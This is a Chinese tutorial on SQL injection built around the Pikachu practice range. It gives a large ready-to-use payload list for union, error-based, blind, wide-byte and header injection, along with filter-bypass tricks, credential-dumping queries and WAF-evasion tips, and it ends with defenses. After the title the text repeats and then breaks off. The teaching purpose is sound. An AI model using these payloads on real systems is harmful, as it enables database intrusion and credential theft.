1. 项目概述为什么Pikachu是SQL注入学习的“新手村”如果你刚开始接触网络安全尤其是Web安全那么“SQL注入”这个词对你来说可能既熟悉又陌生。熟悉是因为它几乎出现在所有安全相关的讨论和新闻里陌生是因为你可能还没亲手成功“注入”过一次。这种感觉我太懂了当年我也是对着教程看着一堆‘ or 11 --的代码发懵不知道从何下手更不知道这些代码到底是怎么让网站“听话”的。直到我遇到了Pikachu靶场它就像是为新手量身定制的“闯关游戏”把SQL注入这个复杂的攻击手法拆解成了一个一个具体、可实操的关卡。Pikachu靶场是一个集成了多种Web漏洞的在线或本地测试环境它的核心价值在于“场景化”。它不会一上来就给你讲深奥的数据库原理而是直接模拟了一个存在漏洞的网站让你去攻击它。SQL注入部分尤其经典它几乎涵盖了所有主流的注入类型从最简单的数字型、字符型注入到需要绕过的盲注、报错注入再到需要联合查询的Union注入甚至还有需要处理编码的宽字节注入。通过它你不仅能学会“怎么注”更能理解“为什么能注”以及开发人员“怎么防”。这篇文章我将带你从零开始手把手通关Pikachu的SQL注入关卡并附上一份我实战中总结、可以直接“抄作业”的完整Payload清单。无论你是安全爱好者、准备面试的准安全工程师还是想了解自身业务风险的开发者这篇超过5000字的深度解析都能让你获得实实在在的收获。2. 靶场环境搭建与核心思路解析在开始“攻击”之前我们得先有自己的“训练场”。虽然Pikachu有在线版本但我强烈建议你在本地搭建。原因有三第一环境完全受控可以随意折腾不怕影响他人第二可以深入查看后端源码和数据库变化理解漏洞本质第三学习过程不依赖网络随时可以练习。本地搭建通常基于“PHPStudy”或“XAMPP”这类集成环境过程非常傻瓜化。2.1 本地环境快速部署你需要准备两样东西PHPStudy小皮面板和Pikachu的源码包。PHPStudy负责提供Apache服务器、MySQL数据库和PHP运行环境。安装好PHPStudy并启动Apache和MySQL服务后将下载的Pikachu源码解压放到PHPStudy的WWW目录下。接着在浏览器访问http://localhost/pikachu/具体路径根据你的文件夹名调整通常会看到一个初始化页面引导你创建数据库。点击初始化链接脚本会自动创建所需的数据库和表结构。如果遇到问题最常见的原因是数据库连接配置不对你需要检查pikachu目录下的inc/config.inc.php文件确保里面的数据库主机通常是localhost、用户名默认root、密码PHPStudy默认密码可能是root或空和数据库名pikachu填写正确。注意很多新手在这一步卡住就是因为数据库密码没改对。PHPStudy的MySQL密码可能在安装时自定义过务必使用你实际设置的密码。另一个常见坑点是端口冲突如果80端口被占用PHPStudy可能会启用其他端口如8080此时访问地址需相应改为http://localhost:8080/pikachu/。环境跑起来后你会看到一个充满卡通皮卡丘形象的主页左侧是漏洞菜单。我们的主战场就是“SQL-Inject”下的各个子项。这个界面设计得非常友好每个漏洞点都有简单的描述告诉你这里可能存在什么类型的漏洞。2.2 SQL注入攻击的核心逻辑与Pikachu设计在动手之前我们必须把核心思路理清楚。SQL注入的本质是攻击者通过Web应用程序的输入接口插入恶意的SQL代码片段从而欺骗后端数据库执行非预期的操作。为什么能成功根本原因在于程序将用户输入的数据“直接拼接”到了SQL查询语句中而没有经过严格的检查或转义。举个例子一个正常的登录查询可能是这样的SELECT * FROM users WHERE username ‘用户输入的用户名‘ AND password ‘用户输入的密码‘如果程序员写成了$sql “SELECT * FROM users WHERE username ‘“ . $_POST[‘username‘] . “‘ AND password ‘“ . $_POST[‘password‘] . “‘“;那么当我在用户名输入框里输入admin‘ --注意最后有个空格整个语句就变成了SELECT * FROM users WHERE username ‘admin‘ -- ‘ AND password ‘...‘在SQL中--是注释符它会把后面的语句都注释掉。于是这个查询就变成了“寻找用户名为admin的用户”完全绕过了密码验证这就是一次最经典的SQL注入。Pikachu靶场的聪明之处在于它把这些抽象的原理具象化成了一个个有前后端代码的页面。每个注入点都对应一种常见的编程错误。我们的学习路径就是沿着它设计的关卡由浅入深从最明显的错误到需要技巧的绕过逐一击破。在这个过程中你会逐渐掌握判断注入点、推断数据库结构、构造Payload、获取数据这一整套方法论。3. 核心注入类型实战与Payload深度拆解接下来我们进入实战环节。我将按照难度和常见性分类详解Pikachu中的SQL注入关卡并给出每一步的思考过程和对应的Payload。请务必在你自己搭建的靶场中同步操作光看是记不住的。3.1 数字型注入与字符型注入理解注入的起点这是最基础的两种注入类型区别在于参数被代入SQL语句时是否被引号包裹。数字型注入SQL-Inject - 数字型注入(get) 页面通常是一个根据用户ID查询信息的搜索框。后端SQL语句可能形如SELECT ... FROM ... WHERE id $id。这里$id直接是数字没有引号。探测输入1正常输入1 and 11也正常输入1 and 12则页面异常无结果或报错。这是因为11永真12永假影响了查询条件。Payload示例与解析1 order by 4通过不断增大数字判断查询结果返回的列数。如果order by 4正常而order by 5报错说明有4列。这是为后续Union查询做准备的关键步骤。-1 union select 1, database(), user(), version()这里-1是一个不存在的ID目的是让原查询无结果从而页面显示我们Union查询的结果。database()、user()、version()是数据库函数分别用于获取当前数据库名、当前用户和数据库版本。这个Payload直接获取了系统的关键信息。-1 union select 1, table_name, 3, 4 from information_schema.tables where table_schema‘pikachu‘从系统表information_schema.tables中查询pikachu数据库里所有表的名字。这是获取表结构的第一步。字符型注入SQL-Inject - 字符型注入(get) 页面可能是一个根据用户名搜索的输入框。后端SQL语句形如SELECT ... FROM ... WHERE username ‘$name‘。变量被单引号包裹。探测输入kobe靶场预设用户正常。输入kobe‘ and ‘1‘‘1页面正常。输入kobe‘ and ‘1‘‘2页面异常。这里我们通过闭合前面的引号并补充一个永真或永假条件来探测。Payload示例与解析kobe‘ order by 4 --用--空格很重要注释掉原SQL语句中后面的引号和条件。同样用于判断列数。‘ union select 1,2,3,4 --这里用户名输入框直接输入这个。先输入一个单引号闭合原语句然后跟上我们的Union查询再用--注释掉后面。‘ union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schemadatabase() --group_concat()函数将多行结果合并成一个字符串方便查看。database()函数动态获取当前库名比写死‘pikachu‘更通用。实操心得字符型注入最关键的一步是“闭合引号”。你输入的第一个单引号是为了和SQL语句中原本包裹变量的那个引号配对从而“逃逸”出来。后面的--注释符是为了处理掉SQL语句末尾可能存在的另一个引号。很多新手Payload执行失败就是因为引号闭合不对或者注释符后面没加空格在某些数据库中是必须的。3.2 搜索型注入与XX型注入处理更复杂的闭合这两种类型考验你对SQL语句结构的猜测能力。搜索型注入SQL-Inject - 搜索型注入 模拟搜索功能后端SQL可能为SELECT ... FROM ... WHERE username like ‘%$input%‘。变量被包裹在‘%...%‘中。探测与Payload你需要闭合前面的‘%和后面的%‘。常用Payload结构是%‘ [你的SQL代码] --。例如%‘ union select 1, database(), user() --。输入%‘闭合了前面的部分然后执行我们的查询再用--注释掉后面的%‘。XX型注入SQL-Inject - xx型注入 这是一种不太常见但存在的类型可能使用括号、双引号等组合进行闭合例如WHERE id(‘$id‘)。思路首先通过报错信息或尝试猜测闭合方式。常见尝试1‘)、1“)、1‘))、1“))等观察页面是否正常。一旦找到正确的闭合方式比如发现输入1‘) --页面正常后续注入就和字符型一样了。Payload示例1‘) union select 1, version() --。3.3 报错注入与盲注当页面不直接回显数据时在实际攻击中网站不会直接把数据库信息打印在页面上。Pikachu的这两个关卡模拟了这种更真实的情况。报错注入SQL-Inject - 报错注入 页面不会显示查询结果但如果SQL语句执行错误可能会将数据库的报错信息回显到页面上。我们可以故意构造让数据库报错的语句并在报错信息中“夹带”出我们想要的数据。核心函数updatexml()、extractvalue()。它们原本用于处理XML数据但第二个参数需要符合XPath格式。如果我们传入一个不符合XPath格式的字符串它就会报错并把这个字符串内容显示在错误信息里。Payload示例与解析1‘ and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --。concat(0x7e, ..., 0x7e)0x7e是波浪号~的十六进制用于在报错信息中标记出我们想要的数据使其更醒目。(select database())子查询获取数据库名。整个函数执行时因为concat(...)的结果如~pikachu~不是合法的XPath路径所以数据库会报错错误信息大致为“XPATH syntax error: ‘~pikachu~‘”。这样我们就在错误信息里看到了数据库名。同理可以获取表名、列名1‘ and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 0x7e), 1) --。盲注SQL-Inject - 盲注(base on boolian) / 盲注(base on time) 这是最隐蔽、也最考验耐心的注入方式。页面既无数据回显也无报错信息你只能通过页面返回的“是”与“否”布尔盲注或者响应时间的“快”与“慢”时间盲注来推断信息。布尔盲注思路像玩“猜数字”游戏。通过and连接一个判断条件根据页面是否返回正常内容来逐位猜测数据。Payload示例1‘ and ascii(substr(database(),1,1))100 --。substr(database(),1,1)截取数据库名的第一个字符。ascii(...)获取该字符的ASCII码。100判断ASCII码是否大于100。如果页面正常说明猜对了大于100接下来可以尝试150缩小范围如果页面异常无内容说明小于等于100尝试50。如此二分法最终确定该字符的ASCII码从而知道是什么字符。这个过程极其繁琐必须借助工具如Burp Suite的Intruder模块或sqlmap自动化进行。时间盲注思路当布尔条件也无法区分时使用。通过and连接一个能引起数据库延迟执行的函数根据页面响应时间来判断条件真假。Payload示例1‘ and if(ascii(substr(database(),1,1))100, sleep(3), 0) --。if(条件, 真值, 假值)如果条件为真执行sleep(3)让数据库睡眠3秒页面响应就会延迟如果为假执行0页面立即返回。通过观察响应时间就能判断条件真假。时间盲注比布尔盲注更慢也更依赖稳定的网络环境。注意事项在实际渗透测试中盲注是常态。自动化工具固然高效但理解其原理至关重要。手工尝试几次盲注能让你深刻体会到数据库信息是如何被“一位一位”地“问”出来的这对你后续编写WAF绕过Payload、理解安全设备的检测原理有巨大帮助。3.4 宽字节注入与Cookie/UA/Referer注入特殊场景下的攻击这些类型展示了注入点可能出现在任何用户可控的地方而不仅仅是输入框。宽字节注入SQL-Inject - 宽字节注入 针对使用GBK、GB2312等宽字符集且使用了转义函数如addslashes()、mysql_real_escape_string()的防护。转义函数会在单引号‘前加一个反斜杠\变成\‘从而破坏我们的引号闭合。但宽字符集下如果我们在‘前输入一个ASCII码大于128的字符如%df数据库会将它和转义产生的反斜杠%5c组合解读成一个宽字符如“運”从而使后面的单引号成功逃逸。Payload示例%df‘ union select 1,2,3 --。这里的%df就是用来“吃掉”反斜杠的。Cookie/UA/Referer注入 这些HTTP请求头字段同样可能被后端程序不加过滤地拼接到SQL语句中。攻击方式与普通注入无异只是注入点变了。你需要使用Burp Suite这类代理工具拦截请求然后修改对应的Header字段值进行测试。操作流程用Burp Suite拦截浏览器发送的任何一个请求在Proxy - Intercept标签页下找到Cookie:、User-Agent:或Referer:字段在其值后面尝试添加注入Payload如‘ and 11 --然后转发请求观察页面变化。4. 完整Payload清单与使用指南下面是我在通关Pikachu和多年实战中整理的核心Payload清单。它们具有通用性稍作修改即可用于其他测试场景。请结合前面的原理理解使用。4.1 信息收集Payload这些Payload用于获取数据库的基本信息是注入的第一步。目标Payload示例字符型场景需注意闭合说明与解析判断列数1‘ order by 10 --不断增大数字直到报错报错前的数字即列数。获取数据库版本-1‘ union select 1, version(), 3, 4 --version()函数。适用于Union注入有回显的场景。获取当前数据库名-1‘ union select 1, database(), 3, 4 --database()函数。获取当前数据库用户-1‘ union select 1, user(), 3, 4 --user()函数可判断数据库权限。列出所有数据库-1‘ union select 1, group_concat(schema_name), 3, 4 from information_schema.schemata --从information_schema.schemata系统表查询。4.2 数据结构探测Payload获取当前数据库后下一步是探索其中有哪些表表里有哪些列。目标Payload示例说明与解析列出当前库所有表-1‘ union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schemadatabase() --table_schemadatabase()限定为当前库。group_concat防止多行结果显示不全。列出指定表的所有列-1‘ union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_schemadatabase() and table_name‘users‘ --将table_name替换为你感兴趣的表名如users,admin。报错注入获取表名1‘ and updatexml(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) --适用于无回显但有报错信息的场景。0x7e是分隔符~。盲注猜解表名长度1‘ and length((select group_concat(table_name) from information_schema.tables where table_schemadatabase()))10 --布尔盲注用于判断结果长度为逐位猜解做准备。4.3 数据窃取Payload知道了表和列就可以最终窃取数据了这是攻击的最终目的。目标Payload示例说明与解析查询指定表的所有数据-1‘ union select 1, group_concat(username, ‘:‘, password), 3, 4 from users --假设已探明有users表含username和password列。‘:‘用于分隔用户名和密码方便查看。报错注入获取数据1‘ and updatexml(1, concat(0x7e,(select concat(username, ‘:‘, password) from users limit 0,1),0x7e),1) --limit 0,1每次取一行。报错注入有长度限制约32字符可能需要用substr分段截取。布尔盲注逐位猜解数据1‘ and ascii(substr((select password from users where username‘admin‘ limit 0,1),1,1))50 --从admin用户的password字段第一字符开始猜。这是最核心的盲注Payload模板。时间盲注判断数据1‘ and if(ascii(substr(database(),1,1))100, sleep(3), 0) --根据响应时间延迟判断条件真假。4.4 绕过与高级技巧Payload用于应对简单的过滤或WAFWeb应用防火墙。目标Payload示例说明与解析大小写/双写绕过1‘ UniOn SeLeCt 1,2,3 --或1‘ anandd 11 --针对简单的关键字过滤。如果过滤了and可以尝试anandd程序删除中间的and后剩下的又组成了and。编码绕过1‘ %61%6e%64 11 --and的URL编码尝试URL编码、十六进制编码0x616e64等。内联注释绕过1‘ /*!and*/ 11 --/*! ... */在MySQL中是内联注释其中的代码会被执行可用于包裹关键字。空格绕过1‘/**/and/**/11 --用注释符/**/、换行符%0a、制表符%09等代替空格。实操心得这份清单是你的“武器库”但切忌死记硬背。关键是要理解每个Payload的构成部分闭合符号、查询语句、注释符。根据实际遇到的错误信息或页面回显灵活组合这些部分。例如如果发现是数字型注入就去掉Payload中的引号如果发现过滤了空格就尝试用/**/替换。5. 从攻击到防御深入理解漏洞根源与修复方案通关所有关卡后我们不仅要会攻击更要明白如何防御。查看Pikachu每个关卡对应的源码通常在vul目录下你会发现漏洞代码都非常直观——就是毫无过滤的字符串拼接。5.1 漏洞代码深度解析以字符型注入vul/sqli/sqli_str.php为例核心漏洞代码可能如下$name $_GET[‘name‘]; $query “select id,email from member where username‘“ . $name . “‘“; $result mysqli_query($query);变量$name直接拼接进了SQL字符串。当输入kobe‘ union select 1, database() --时语句就变成了select id,email from member where username‘kobe‘ union select 1, database() -- ‘防御的根本就是阻止用户输入改变SQL语句的原始结构。5.2 多层次防御方案详解使用参数化查询预编译语句这是最有效、最根本的防御手段。它让SQL语句的“结构”和“数据”分离。// 使用MySQLi预处理 $stmt $conn-prepare(“select id,email from member where username?“); $stmt-bind_param(“s“, $name); // ‘s‘表示字符串类型$name变量会被安全地绑定到?位置 $stmt-execute();数据库会先将select id,email from member where username?这个模板编译好然后将$name的值作为纯粹的数据传入。无论$name里包含什么引号或SQL关键字都不会被解释为语句的一部分。对输入进行严格的过滤和转义如果因历史原因无法使用预编译则必须进行过滤。白名单过滤对于已知有限集合的输入如性别、状态只接受预定值‘男‘‘女‘。类型强制转换对于数字型参数使用intval()等函数强制转为整数。使用安全的转义函数对于字符串使用数据库特定的转义函数如mysqli_real_escape_string()。但请注意它并非万能且需与正确的字符集设置结合使用否则宽字节注入可能绕过它。最小权限原则为Web应用程序使用的数据库账户分配最小必要的权限。通常查询操作只需要SELECT权限绝对不要使用root或拥有DROP、FILE等高级权限的账户连接数据库。这样即使发生注入危害也被限制在可控范围内。启用Web应用防火墙WAFWAF可以基于规则过滤常见的攻击Payload作为一道额外的防线。但它不能替代安全的代码只能作为缓解措施。定期安全扫描与代码审计使用类似奇安信安全扫描工具或开源工具对代码进行静态和动态分析提前发现潜在的SQL注入点。6. 常见问题排查与实战避坑指南在实际操作Pikachu或进行其他注入测试时你肯定会遇到各种问题。这里汇总了一些常见坑点及其解决方案。问题现象可能原因排查与解决思路Payload执行后页面空白或报错1. 引号闭合不正确。2. 列数不对。3. 注释符使用错误如--后没加空格。4. 存在过滤关键字被拦截。1. 回退到最简单的‘ and ‘1‘‘1和‘ and ‘1‘‘2测试闭合。2. 用order by重新确认列数。3. 尝试在--后加空格或换用#注释符。4. 尝试大小写、双写、编码等绕过技巧。Union查询成功但页面不显示数据1. Union查询的列数、数据类型与原查询不匹配。2. 数据显示位置不在当前页面可视区域。1. 确保union select后的列数与order by探测的一致。尝试将各列替换为数字1,2,3...看哪个数字会显示在页面上就在那个位置替换为我们想要的函数。2. 查看网页源代码数据可能被插入到了HTML注释或隐藏标签中。报错注入无错误信息回显1. 网站全局关闭了错误显示display_errors Off。2. 错误信息被前端JS处理或重定向。1. 尝试盲注。2. 使用Burp Suite查看原始HTTP响应包错误信息可能藏在Header或响应体末尾。时间盲注始终不延迟1. 数据库用户权限不足无法执行sleep()函数。2. 网络波动导致时间判断不准。3. 注入点存在过滤Payload未完整执行。1. 尝试其他能引起延迟的函数如benchmark(10000000, md5(‘test‘))。2. 增大sleep时间或多次请求取平均响应时间。3. 检查Payload语法特别是闭合和注释。使用sqlmap等工具扫描无结果1. 注入点需要先登录或有其他Token/会话验证。2. 存在复杂的动态参数或JavaScript渲染。3. WAF拦截了工具流量。1. 使用Burp Suite记录完整的登录后请求将数据包保存为文件用sqlmap的-r参数加载。2. 手动在浏览器中测试确认注入点存在再配置工具使用正确的Payload和Tamper脚本。3. 在工具中设置延迟、随机User-Agent、使用代理池等规避策略。最后我想分享一个最重要的心得SQL注入的学习手工理解永远排在工具使用之前。Pikachu靶场最大的价值就是强迫你手工去构造、去试错、去理解每一个Payload背后的原理。当你能够不依赖sqlmap仅凭一个浏览器和Burp Suite就完成从注入点到拖库的全过程时你才真正掌握了这门技术。这份能力不仅能让你在CTF比赛中游刃有余更能让你在真正的安全评估中理解自动化工具报告背后的逻辑甚至发现工具发现不了的、更深层次的漏洞。安全之路始于手动精于理解终于创造。
SQL注入实战:从Pikachu靶场入门到Payload深度解析
1. 项目概述为什么Pikachu是SQL注入学习的“新手村”如果你刚开始接触网络安全尤其是Web安全那么“SQL注入”这个词对你来说可能既熟悉又陌生。熟悉是因为它几乎出现在所有安全相关的讨论和新闻里陌生是因为你可能还没亲手成功“注入”过一次。这种感觉我太懂了当年我也是对着教程看着一堆‘ or 11 --的代码发懵不知道从何下手更不知道这些代码到底是怎么让网站“听话”的。直到我遇到了Pikachu靶场它就像是为新手量身定制的“闯关游戏”把SQL注入这个复杂的攻击手法拆解成了一个一个具体、可实操的关卡。Pikachu靶场是一个集成了多种Web漏洞的在线或本地测试环境它的核心价值在于“场景化”。它不会一上来就给你讲深奥的数据库原理而是直接模拟了一个存在漏洞的网站让你去攻击它。SQL注入部分尤其经典它几乎涵盖了所有主流的注入类型从最简单的数字型、字符型注入到需要绕过的盲注、报错注入再到需要联合查询的Union注入甚至还有需要处理编码的宽字节注入。通过它你不仅能学会“怎么注”更能理解“为什么能注”以及开发人员“怎么防”。这篇文章我将带你从零开始手把手通关Pikachu的SQL注入关卡并附上一份我实战中总结、可以直接“抄作业”的完整Payload清单。无论你是安全爱好者、准备面试的准安全工程师还是想了解自身业务风险的开发者这篇超过5000字的深度解析都能让你获得实实在在的收获。2. 靶场环境搭建与核心思路解析在开始“攻击”之前我们得先有自己的“训练场”。虽然Pikachu有在线版本但我强烈建议你在本地搭建。原因有三第一环境完全受控可以随意折腾不怕影响他人第二可以深入查看后端源码和数据库变化理解漏洞本质第三学习过程不依赖网络随时可以练习。本地搭建通常基于“PHPStudy”或“XAMPP”这类集成环境过程非常傻瓜化。2.1 本地环境快速部署你需要准备两样东西PHPStudy小皮面板和Pikachu的源码包。PHPStudy负责提供Apache服务器、MySQL数据库和PHP运行环境。安装好PHPStudy并启动Apache和MySQL服务后将下载的Pikachu源码解压放到PHPStudy的WWW目录下。接着在浏览器访问http://localhost/pikachu/具体路径根据你的文件夹名调整通常会看到一个初始化页面引导你创建数据库。点击初始化链接脚本会自动创建所需的数据库和表结构。如果遇到问题最常见的原因是数据库连接配置不对你需要检查pikachu目录下的inc/config.inc.php文件确保里面的数据库主机通常是localhost、用户名默认root、密码PHPStudy默认密码可能是root或空和数据库名pikachu填写正确。注意很多新手在这一步卡住就是因为数据库密码没改对。PHPStudy的MySQL密码可能在安装时自定义过务必使用你实际设置的密码。另一个常见坑点是端口冲突如果80端口被占用PHPStudy可能会启用其他端口如8080此时访问地址需相应改为http://localhost:8080/pikachu/。环境跑起来后你会看到一个充满卡通皮卡丘形象的主页左侧是漏洞菜单。我们的主战场就是“SQL-Inject”下的各个子项。这个界面设计得非常友好每个漏洞点都有简单的描述告诉你这里可能存在什么类型的漏洞。2.2 SQL注入攻击的核心逻辑与Pikachu设计在动手之前我们必须把核心思路理清楚。SQL注入的本质是攻击者通过Web应用程序的输入接口插入恶意的SQL代码片段从而欺骗后端数据库执行非预期的操作。为什么能成功根本原因在于程序将用户输入的数据“直接拼接”到了SQL查询语句中而没有经过严格的检查或转义。举个例子一个正常的登录查询可能是这样的SELECT * FROM users WHERE username ‘用户输入的用户名‘ AND password ‘用户输入的密码‘如果程序员写成了$sql “SELECT * FROM users WHERE username ‘“ . $_POST[‘username‘] . “‘ AND password ‘“ . $_POST[‘password‘] . “‘“;那么当我在用户名输入框里输入admin‘ --注意最后有个空格整个语句就变成了SELECT * FROM users WHERE username ‘admin‘ -- ‘ AND password ‘...‘在SQL中--是注释符它会把后面的语句都注释掉。于是这个查询就变成了“寻找用户名为admin的用户”完全绕过了密码验证这就是一次最经典的SQL注入。Pikachu靶场的聪明之处在于它把这些抽象的原理具象化成了一个个有前后端代码的页面。每个注入点都对应一种常见的编程错误。我们的学习路径就是沿着它设计的关卡由浅入深从最明显的错误到需要技巧的绕过逐一击破。在这个过程中你会逐渐掌握判断注入点、推断数据库结构、构造Payload、获取数据这一整套方法论。3. 核心注入类型实战与Payload深度拆解接下来我们进入实战环节。我将按照难度和常见性分类详解Pikachu中的SQL注入关卡并给出每一步的思考过程和对应的Payload。请务必在你自己搭建的靶场中同步操作光看是记不住的。3.1 数字型注入与字符型注入理解注入的起点这是最基础的两种注入类型区别在于参数被代入SQL语句时是否被引号包裹。数字型注入SQL-Inject - 数字型注入(get) 页面通常是一个根据用户ID查询信息的搜索框。后端SQL语句可能形如SELECT ... FROM ... WHERE id $id。这里$id直接是数字没有引号。探测输入1正常输入1 and 11也正常输入1 and 12则页面异常无结果或报错。这是因为11永真12永假影响了查询条件。Payload示例与解析1 order by 4通过不断增大数字判断查询结果返回的列数。如果order by 4正常而order by 5报错说明有4列。这是为后续Union查询做准备的关键步骤。-1 union select 1, database(), user(), version()这里-1是一个不存在的ID目的是让原查询无结果从而页面显示我们Union查询的结果。database()、user()、version()是数据库函数分别用于获取当前数据库名、当前用户和数据库版本。这个Payload直接获取了系统的关键信息。-1 union select 1, table_name, 3, 4 from information_schema.tables where table_schema‘pikachu‘从系统表information_schema.tables中查询pikachu数据库里所有表的名字。这是获取表结构的第一步。字符型注入SQL-Inject - 字符型注入(get) 页面可能是一个根据用户名搜索的输入框。后端SQL语句形如SELECT ... FROM ... WHERE username ‘$name‘。变量被单引号包裹。探测输入kobe靶场预设用户正常。输入kobe‘ and ‘1‘‘1页面正常。输入kobe‘ and ‘1‘‘2页面异常。这里我们通过闭合前面的引号并补充一个永真或永假条件来探测。Payload示例与解析kobe‘ order by 4 --用--空格很重要注释掉原SQL语句中后面的引号和条件。同样用于判断列数。‘ union select 1,2,3,4 --这里用户名输入框直接输入这个。先输入一个单引号闭合原语句然后跟上我们的Union查询再用--注释掉后面。‘ union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schemadatabase() --group_concat()函数将多行结果合并成一个字符串方便查看。database()函数动态获取当前库名比写死‘pikachu‘更通用。实操心得字符型注入最关键的一步是“闭合引号”。你输入的第一个单引号是为了和SQL语句中原本包裹变量的那个引号配对从而“逃逸”出来。后面的--注释符是为了处理掉SQL语句末尾可能存在的另一个引号。很多新手Payload执行失败就是因为引号闭合不对或者注释符后面没加空格在某些数据库中是必须的。3.2 搜索型注入与XX型注入处理更复杂的闭合这两种类型考验你对SQL语句结构的猜测能力。搜索型注入SQL-Inject - 搜索型注入 模拟搜索功能后端SQL可能为SELECT ... FROM ... WHERE username like ‘%$input%‘。变量被包裹在‘%...%‘中。探测与Payload你需要闭合前面的‘%和后面的%‘。常用Payload结构是%‘ [你的SQL代码] --。例如%‘ union select 1, database(), user() --。输入%‘闭合了前面的部分然后执行我们的查询再用--注释掉后面的%‘。XX型注入SQL-Inject - xx型注入 这是一种不太常见但存在的类型可能使用括号、双引号等组合进行闭合例如WHERE id(‘$id‘)。思路首先通过报错信息或尝试猜测闭合方式。常见尝试1‘)、1“)、1‘))、1“))等观察页面是否正常。一旦找到正确的闭合方式比如发现输入1‘) --页面正常后续注入就和字符型一样了。Payload示例1‘) union select 1, version() --。3.3 报错注入与盲注当页面不直接回显数据时在实际攻击中网站不会直接把数据库信息打印在页面上。Pikachu的这两个关卡模拟了这种更真实的情况。报错注入SQL-Inject - 报错注入 页面不会显示查询结果但如果SQL语句执行错误可能会将数据库的报错信息回显到页面上。我们可以故意构造让数据库报错的语句并在报错信息中“夹带”出我们想要的数据。核心函数updatexml()、extractvalue()。它们原本用于处理XML数据但第二个参数需要符合XPath格式。如果我们传入一个不符合XPath格式的字符串它就会报错并把这个字符串内容显示在错误信息里。Payload示例与解析1‘ and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --。concat(0x7e, ..., 0x7e)0x7e是波浪号~的十六进制用于在报错信息中标记出我们想要的数据使其更醒目。(select database())子查询获取数据库名。整个函数执行时因为concat(...)的结果如~pikachu~不是合法的XPath路径所以数据库会报错错误信息大致为“XPATH syntax error: ‘~pikachu~‘”。这样我们就在错误信息里看到了数据库名。同理可以获取表名、列名1‘ and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 0x7e), 1) --。盲注SQL-Inject - 盲注(base on boolian) / 盲注(base on time) 这是最隐蔽、也最考验耐心的注入方式。页面既无数据回显也无报错信息你只能通过页面返回的“是”与“否”布尔盲注或者响应时间的“快”与“慢”时间盲注来推断信息。布尔盲注思路像玩“猜数字”游戏。通过and连接一个判断条件根据页面是否返回正常内容来逐位猜测数据。Payload示例1‘ and ascii(substr(database(),1,1))100 --。substr(database(),1,1)截取数据库名的第一个字符。ascii(...)获取该字符的ASCII码。100判断ASCII码是否大于100。如果页面正常说明猜对了大于100接下来可以尝试150缩小范围如果页面异常无内容说明小于等于100尝试50。如此二分法最终确定该字符的ASCII码从而知道是什么字符。这个过程极其繁琐必须借助工具如Burp Suite的Intruder模块或sqlmap自动化进行。时间盲注思路当布尔条件也无法区分时使用。通过and连接一个能引起数据库延迟执行的函数根据页面响应时间来判断条件真假。Payload示例1‘ and if(ascii(substr(database(),1,1))100, sleep(3), 0) --。if(条件, 真值, 假值)如果条件为真执行sleep(3)让数据库睡眠3秒页面响应就会延迟如果为假执行0页面立即返回。通过观察响应时间就能判断条件真假。时间盲注比布尔盲注更慢也更依赖稳定的网络环境。注意事项在实际渗透测试中盲注是常态。自动化工具固然高效但理解其原理至关重要。手工尝试几次盲注能让你深刻体会到数据库信息是如何被“一位一位”地“问”出来的这对你后续编写WAF绕过Payload、理解安全设备的检测原理有巨大帮助。3.4 宽字节注入与Cookie/UA/Referer注入特殊场景下的攻击这些类型展示了注入点可能出现在任何用户可控的地方而不仅仅是输入框。宽字节注入SQL-Inject - 宽字节注入 针对使用GBK、GB2312等宽字符集且使用了转义函数如addslashes()、mysql_real_escape_string()的防护。转义函数会在单引号‘前加一个反斜杠\变成\‘从而破坏我们的引号闭合。但宽字符集下如果我们在‘前输入一个ASCII码大于128的字符如%df数据库会将它和转义产生的反斜杠%5c组合解读成一个宽字符如“運”从而使后面的单引号成功逃逸。Payload示例%df‘ union select 1,2,3 --。这里的%df就是用来“吃掉”反斜杠的。Cookie/UA/Referer注入 这些HTTP请求头字段同样可能被后端程序不加过滤地拼接到SQL语句中。攻击方式与普通注入无异只是注入点变了。你需要使用Burp Suite这类代理工具拦截请求然后修改对应的Header字段值进行测试。操作流程用Burp Suite拦截浏览器发送的任何一个请求在Proxy - Intercept标签页下找到Cookie:、User-Agent:或Referer:字段在其值后面尝试添加注入Payload如‘ and 11 --然后转发请求观察页面变化。4. 完整Payload清单与使用指南下面是我在通关Pikachu和多年实战中整理的核心Payload清单。它们具有通用性稍作修改即可用于其他测试场景。请结合前面的原理理解使用。4.1 信息收集Payload这些Payload用于获取数据库的基本信息是注入的第一步。目标Payload示例字符型场景需注意闭合说明与解析判断列数1‘ order by 10 --不断增大数字直到报错报错前的数字即列数。获取数据库版本-1‘ union select 1, version(), 3, 4 --version()函数。适用于Union注入有回显的场景。获取当前数据库名-1‘ union select 1, database(), 3, 4 --database()函数。获取当前数据库用户-1‘ union select 1, user(), 3, 4 --user()函数可判断数据库权限。列出所有数据库-1‘ union select 1, group_concat(schema_name), 3, 4 from information_schema.schemata --从information_schema.schemata系统表查询。4.2 数据结构探测Payload获取当前数据库后下一步是探索其中有哪些表表里有哪些列。目标Payload示例说明与解析列出当前库所有表-1‘ union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schemadatabase() --table_schemadatabase()限定为当前库。group_concat防止多行结果显示不全。列出指定表的所有列-1‘ union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_schemadatabase() and table_name‘users‘ --将table_name替换为你感兴趣的表名如users,admin。报错注入获取表名1‘ and updatexml(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) --适用于无回显但有报错信息的场景。0x7e是分隔符~。盲注猜解表名长度1‘ and length((select group_concat(table_name) from information_schema.tables where table_schemadatabase()))10 --布尔盲注用于判断结果长度为逐位猜解做准备。4.3 数据窃取Payload知道了表和列就可以最终窃取数据了这是攻击的最终目的。目标Payload示例说明与解析查询指定表的所有数据-1‘ union select 1, group_concat(username, ‘:‘, password), 3, 4 from users --假设已探明有users表含username和password列。‘:‘用于分隔用户名和密码方便查看。报错注入获取数据1‘ and updatexml(1, concat(0x7e,(select concat(username, ‘:‘, password) from users limit 0,1),0x7e),1) --limit 